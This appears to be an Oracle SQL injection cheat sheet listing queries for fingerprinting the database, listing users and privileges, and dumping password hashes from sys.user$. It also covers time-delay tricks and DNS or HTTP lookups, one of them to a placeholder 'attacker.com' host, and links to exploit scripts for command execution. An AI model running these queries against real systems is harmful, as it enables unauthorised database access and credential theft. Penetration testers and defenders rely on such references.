| Version | SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;
|
| Comments | SELECT 1 FROM dual -- comment
-- NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name 'dual' when we're not actually selecting from a table.
|
| Current User | SELECT user FROM dual |
| List Users | SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; -- priv
|
| List Password Hashes | SELECT name, password, astatus FROM sys.user$ -- priv, <= 10g. astatus tells you if acct is locked
SELECT name,spare4 FROM sys.user$ -- priv, 11g
|
| Password Cracker | checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10. |
| List Privileges | SELECT * FROM session_privs; -- current privs
SELECT * FROM dba_sys_privs WHERE grantee = 'DBSNMP'; -- priv, list a user's privs
SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY'; -- priv, find users with a particular priv
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
|
| List DBA Accounts | SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES'; – priv, list DBAs, DBA roles |
| Current Database | SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
|
| List Databases | SELECT DISTINCT owner FROM all_tables; -- list schemas (one per user)
-- Also query TNS listener for other databases. See [[http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html|tnscmd]] (services | status).
|
| List Columns | SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';
|
| List Tables | SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
|
| Find Tables From Column Name | SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%'; – NB: table names are upper case |
| Select Nth Row | SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; – gets 9th row (rows numbered from 1) |
| Select Nth Char | SELECT substr('abcd', 3, 1) FROM dual; – gets 3rd character, 'c' |
| Bitwise AND | SELECT bitand(6,2) FROM dual; -- returns 2
SELECT bitand(6,1) FROM dual; -- returns0
|
| ASCII Value → Char | SELECT chr(65) FROM dual; – returns A |
| Char → ASCII Value | SELECT ascii('A') FROM dual; – returns 65 |
| Casting | SELECT CAST(1 AS char) FROM dual;
SELECT CAST('1' AS int) FROM dual;
|
| String Concatenation | SELECT 'A' || 'B' FROM dual; -- returns AB |
| If Statement | BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; – doesn't play well with SELECT statements |
| Case Statement | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; -- returns 1
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; -- returns 2
|
| Avoiding Quotes | SELECT chr(65) || chr(66) FROM dual; -- returns AB |
| Time Delay | BEGIN DBMS_LOCK.SLEEP(5); END; -- priv, can't seem to embed this in a SELECT
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; -- if reverse looks are slow
SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual; -- if forward lookups are slow
SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; -- if outbound TCP is filtered / slow
-- Also see [[https://technet.microsoft.com/en-us/library/cc512676.aspx|Heavy Queries]] to create a time delay
|
| Make DNS Requests | SELECT UTL_INADDR.get_host_address('google.com') FROM dual;
SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual;
|
| Command Execution |
[[http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql|Java]] can be used to execute commands if it's installed.
[[http://www.0xdeadbeef.info/exploits/raptor_oraextproc.sql|ExtProc]] can sometimes be used too, though it normally failed for me. :-(
|
| Local File Access | [[http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql|UTL_FILE]] can sometimes be used. Check that the following is non-null:
SELECT value FROM v$parameter2 WHERE name = 'utl_file_dir';
[[http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql|Java]] can be used to read and write files if it's installed (it is not available in Oracle Express).
|
| Hostname, IP Address | SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; -- gets IP address
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; -- gets hostnames
|
| Location of DB files | SELECT name FROM V$DATAFILE; |
| Default/System Databases | SYSTEM
SYSAUX
|